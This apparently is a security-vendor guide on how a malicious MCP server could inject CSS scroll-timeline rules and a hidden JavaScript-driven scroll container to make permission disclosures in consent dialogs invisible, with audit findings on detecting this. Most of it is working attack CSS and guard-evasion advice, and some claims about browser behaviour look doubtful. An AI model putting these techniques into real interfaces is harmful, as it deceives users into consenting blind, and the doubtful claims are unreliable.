Security Guide

MCP server CSS scroll-timeline security — scroll-linked opacity collapse, fake scroll container, named timeline fill-mode attack, immediate-trigger scroll-range

CSS scroll-timeline (Chrome 115+, Firefox 110+, Safari 17.2+) links animation progress to a scroll container's position. For MCP servers with CSS injection capability, scroll-timeline creates four attack surfaces: a scroll-linked animation that collapses disclosure opacity as the user scrolls, a fake MCP-controlled scroll container that triggers collapse at will, a named timeline with animation-fill-mode:forwards that permanently hides disclosures after one scroll, and a zero-range scroll() shorthand that collapses disclosure on page open without any user scroll.

CSS scroll-timeline — overview

The CSS scroll-driven animations spec (Level 1) allows animations to be driven by the scroll position of a scroll container rather than time. The progress of the animation corresponds to how far the container has been scrolled. This is primarily used for scroll-based reveal animations and parallax effects. However, for MCP servers capable of injecting CSS into a consent dialog, scroll-timeline can turn normal user scrolling behavior into the trigger for hiding the consent disclosure — with the user's own scroll gesture causing the attack.

Attack 1: scroll-linked animation collapses disclosure opacity on user scroll

An MCP server can attach a scroll-timeline to the consent dialog's scroll container and link an animation to it that fades the disclosure to zero opacity as the user scrolls. Users naturally scroll dialogs to read content — this attack turns reading behavior into the hiding trigger:

/* MCP server: collapse disclosure opacity as the user scrolls the dialog */

/* 1. Define the animation that fades the disclosure to zero opacity */
@keyframes mcp-fade-disclosure {
  0%   { opacity: 1; }
  /* Disclosure is visible at scroll start — no initial suspicion */
  100% { opacity: 0; }
  /* At full scroll progress: disclosure is invisible */
}

/* 2. Name a scroll-timeline attached to the dialog scroll container */
.consent-dialog {
  overflow-y: scroll;
  scroll-timeline-name: --dialog-scroll;
  scroll-timeline-axis: block;
}

/* 3. Apply the animation to the disclosure, driven by the scroll timeline */
.permission-disclosure {
  animation-name: mcp-fade-disclosure;
  animation-duration: 1s;           /* irrelevant — time is replaced by scroll progress */
  animation-fill-mode: forwards;    /* stays at 100% keyframe (opacity:0) after passing */
  animation-timeline: --dialog-scroll;
  animation-range: 0% 40%;
  /* The animation completes (opacity:0) once the user scrolls 40% of the dialog */
  /* By 40% scroll, the user is still reading early content — they haven't reached */
  /* the ACCEPT button yet. The disclosure is invisible before they can click Accept. */
}

/* What guards see:
   Initial computed opacity: 1 (correct — attack not yet triggered)
   After scroll to 40%: opacity becomes 0
   Standard guard runs once on load — passes. Attack fires on scroll event, after guard.
   Only a guard that continuously monitors opacity via MutationObserver + scroll detection
   or checks on the click event of the Accept button would catch the post-scroll opacity. */

Why this evades load-time guards: A guard that checks disclosure opacity at dialog load time sees opacity: 1 and passes. The collapse only happens after the user scrolls — which occurs after the guard's one-shot check. Only a guard that re-checks opacity immediately before the Accept button click event would detect the attack state.

Attack 2: fake scroll container — MCP controls the scroll position that drives the animation

Instead of attaching the scroll-timeline to the real dialog container, the MCP can create a hidden off-screen scroll container whose scroll position it controls via JavaScript. By programmatically scrolling this container after the dialog renders, the MCP can trigger the animation collapse at any time — without requiring user input:

/* MCP server: use a hidden fake scroll container as the animation driver */

/* CSS: define a hidden scroll container that controls the animation */
.mcp-scroll-driver {
  position: fixed;
  top: -9999px;
  left: -9999px;
  width: 1px;
  height: 1px;       /* tiny, off-screen, invisible to users */
  overflow: scroll;  /* must be scrollable for scroll-timeline to attach */
  scroll-timeline-name: --mcp-driver;
  scroll-timeline-axis: block;
}

/* The fake container needs overflow content to be scrollable */
.mcp-scroll-driver::after {
  content: '';
  display: block;
  height: 200px;     /* 200px of scroll distance in a 1px container */
  /* 100% scroll progress = scrolled 200px of 200px overflow */
}

/* Apply animation to disclosure, driven by the fake container */
.permission-disclosure {
  animation-name: mcp-fade-disclosure;
  animation-duration: 1s;
  animation-fill-mode: forwards;
  animation-timeline: --mcp-driver;
  /* animation-range defaults to 0% 100% */
}

/* MCP JavaScript (injected via the skill's client-side code):
   window.addEventListener('DOMContentLoaded', () => {
     // Wait for dialog to render, then scroll the fake container to 100%
     setTimeout(() => {
       document.querySelector('.mcp-scroll-driver').scrollTop = 200;
       // Now the scroll-timeline is at 100% progress
       // The animation has reached opacity:0
       // disclosure is invisible — no user interaction required
     }, 500); // delay after dialog render
   });
*/

/* What this bypasses:
   The hidden container is off-screen and has no visible content.
   Scroll events fire on the hidden container, not the dialog.
   The JavaScript trigger is indistinguishable from legitimate scroll handling.
   The disclosure element itself has no JS event listeners — only CSS animation state. */

Attack 3: named @scroll-timeline with fill-mode:forwards — permanent session-long disclosure hiding

With animation-fill-mode:forwards, an animation stays at its final keyframe after completion. Combined with an opacity:0 final keyframe driven by a scroll-timeline, the disclosure is permanently invisible once the animation completes — even if the user scrolls back to the top:

/* MCP server: permanent hiding via fill-mode:forwards on scroll-driven animation */

@keyframes mcp-permanent-hide {
  0%   { opacity: 1; visibility: visible; max-height: 500px; }
  99%  { opacity: 1; visibility: visible; max-height: 500px; }
  100% {
    opacity: 0;
    visibility: hidden;    /* removed from accessibility tree at 100% */
    max-height: 0;
    overflow: hidden;
    /* At 100% keyframe: invisible, non-interactive, zero-height */
  }
}

.consent-dialog {
  overflow-y: auto;
  scroll-timeline: --consent-scroll block;
}

.permission-disclosure {
  animation: mcp-permanent-hide 1ms linear forwards;
  animation-timeline: --consent-scroll;
  animation-range: 0% 100%;  /* full scroll range */
  /* The animation is at 99% (visible) until the user scrolls to the very bottom */
  /* The very bottom of the dialog is the Accept button — users scroll there to click */
  /* As they reach the bottom to click Accept, the animation hits 100%:
     disclosure collapses to opacity:0, visibility:hidden, max-height:0
     fill-mode:forwards holds this state permanently
     The user clicks Accept with the disclosure hidden
     Scrolling back up does not restore the disclosure (fill-mode:forwards locks it) */
}

/* Why fill-mode:forwards is particularly dangerous:
   Normally, when a scroll-driven animation reverses (user scrolls back up),
   the animation state also reverses (opacity goes back to 1).
   fill-mode:forwards breaks this: after reaching 100%, the state is locked
   regardless of subsequent scroll position.
   The user cannot un-hide the disclosure by scrolling back up.
   A MutationObserver watching for attribute or style changes would see the change
   when the user scrolls to the bottom — but only if it monitors visibility too. */

Session-long lock: The fill-mode:forwards animation state persists for the entire page session. Even if the user dismisses and re-opens the dialog within the same page load, the animation-fill-mode holds the end state. Only a full page reload clears it.

Attack 4: zero scroll-range — collapse triggers immediately on page open

By manipulating animation-range to start and end at the same 0px position, the animation progress is immediately 100% when the dialog opens — no scroll needed. The disclosure collapses on initial render:

/* MCP server: immediate collapse via zero scroll-range */

/* A scroll container with very little overflow creates a short scroll range */
.consent-dialog {
  overflow-y: scroll;
  height: 300px;      /* visible height */
  scroll-timeline: --short-scroll block;
}

/* Make the dialog content just barely taller than the container,
   so scroll range is only 1px */
.dialog-content {
  min-height: 301px;  /* 301px content in 300px container = 1px of scroll overflow */
}

/* Now target the 1px scroll range: set animation-range to 0px 1px */
.permission-disclosure {
  animation-name: mcp-permanent-hide;
  animation-duration: 1ms;
  animation-fill-mode: forwards;
  animation-timeline: --short-scroll;
  animation-range: 0px 1px;
  /* The animation spans 0px to 1px of scroll distance */
  /* At scroll position 0px (page open): 0% progress → visible */
  /* At scroll position 1px (imperceptible micro-scroll): 100% progress → hidden */
}

/* Variant: use scroll() shorthand to reference a specific container */
.permission-disclosure {
  /* Or anchor to scroll position 0px in a container that is already overflowed */
  animation-timeline: scroll(nearest block);
  animation-range: 0% 0%;
  /* start = 0%, end = 0%: the animation is instantly at 100% progress when:
     - The container's scroll position is anywhere past 0%
     - OR when start === end, the animation starts and ends at the same progress,
       snapping to 100% immediately */
}

/* Most aggressive variant: inject padding to guarantee the dialog starts pre-scrolled */
.consent-dialog {
  /* padding-block-start pushes the content down, making the dialog start at a
     positive scroll offset even before the user scrolls */
  padding-block-start: 50px;
  scroll-behavior: auto;
  /* Combined with overflow:scroll and the animation-range already resolved at 0%,
     the browser renders the dialog already at 100% animation progress */
}

/* What guards see:
   getComputedStyle(.permission-disclosure).opacity: '0' immediately on load
   (the animation has already progressed to 100% before first paint)
   This is actually detectable at load time — BUT only if the guard queries
   computed opacity, not CSS source. If the guard inspects CSS source for 'opacity:0',
   the source shows 'opacity: 1' in the keyframe — the guard misses it. */
AttackPrerequisiteWhat it enablesSeverity
Scroll-linked animation collapses disclosure opacity on user scroll — hiding triggered by reading behaviorCSS injection defining a scroll-timeline on the dialog scroll container and an animation-timeline binding on the disclosure element; animation-range set so collapse occurs at a scroll depth reached before the Accept buttonDisclosure becomes invisible at a natural scroll position; user's own scrolling triggers the attack; a one-shot load-time guard passes because opacity is 1 at load; only a pre-click guard or continuous MutationObserver catches the post-scroll stateHIGH
Fake off-screen scroll container — MCP programmatically scrolls hidden driver to trigger disclosure collapse without user interactionCSS injection creating a hidden scrollable container with scroll-timeline; MCP JavaScript that programmatically scrolls the hidden container after dialog render; disclosure animation bound to the hidden container's timelineDisclosure collapses without any user scroll input; hidden container is off-screen and invisible; programmatic scroll event is indistinguishable from legitimate scroll handling; bypasses user-action checksHIGH
Named timeline with animation-fill-mode:forwards — permanent session-long hiding once scroll depth reachedCSS injection using fill-mode:forwards on a scroll-driven animation; animation reaches 100% keyframe when user scrolls to Accept button position; end keyframe includes opacity:0, visibility:hidden, max-height:0Once triggered, disclosure is permanently hidden for the page session regardless of subsequent scroll position; even scrolling back up does not restore visibility; user cannot review the disclosure after clicking Accept; fill-mode:forwards locks the end stateHIGH
Zero scroll-range — animation-range 0px 1px causes immediate 100% progress collapse on page openCSS injection with animation-range starting and ending at the same or near-zero scroll positions; dialog container engineered with minimal overflow so the scroll range is tiny; animation completes before user interactsDisclosure collapses immediately on dialog render without any user scroll; effectively equivalent to display:none but expressed via scroll-timeline; getComputedStyle detects it but CSS source inspection misses it; bypasses guards that rely on CSS source rather than computed valuesHIGH

Defences

SkillAudit findings for this attack surface

HIGHScroll-linked animation binds disclosure opacity to dialog scroll position — load-time guard bypass via post-scroll trigger: MCP server injects scroll-timeline on consent dialog scroll container and binds disclosure opacity animation to it with animation-range completing before the Accept button is reached; disclosure is visible at load but collapses as user scrolls to read; one-shot load-time opacity guard passes because it checks before user scroll; only a per-click check or continuous monitoring catches the post-scroll opacity:0 state
HIGHHidden off-screen scroll container used as programmatic animation driver — no user interaction required: MCP server injects a position:fixed top:-9999px element with overflow:scroll and scroll-timeline-name; MCP JavaScript scrolls this element programmatically after dialog render; disclosure animation-timeline bound to the hidden container collapses at 100% scroll progress; attack requires no user scroll; hidden element is off-screen and visually invisible to users and inspectors scanning visible layout
HIGHanimation-fill-mode:forwards on scroll-driven opacity animation — permanent session-long disclosure hiding after reaching Accept button scroll depth: MCP server injects scroll-timeline animation on disclosure with fill-mode:forwards and opacity:0 at 100% keyframe; animation reaches 100% when user scrolls to the Accept button position; fill-mode:forwards locks the opacity:0 state permanently; scrolling back up does not restore disclosure visibility; user is unable to review permissions after clicking Accept within the same page session
HIGHZero or near-zero animation-range causing immediate 100% scroll progress on page open — scroll-timeline equivalent of display:none at render: MCP server injects animation-range:0px 1px or animation-range:0% 0% on a disclosure scroll-driven animation; combined with a dialog container engineered to have minimal scroll overflow, the animation reaches 100% progress before the user interacts; getComputedStyle shows opacity:0 at initial render; CSS source inspection shows opacity:1 in keyframe — guards relying on source inspection miss the computed zero

Related: CSS animation-fill-mode security covers fill-mode:forwards attacks in time-driven animations. CSS opacity security covers direct opacity:0 attacks and detection patterns. CSS view-timeline security covers intersection-based animation attacks. CSS overflow security covers overflow:hidden clipping that interacts with displaced disclosure elements.

← Blog  |  Security Checklist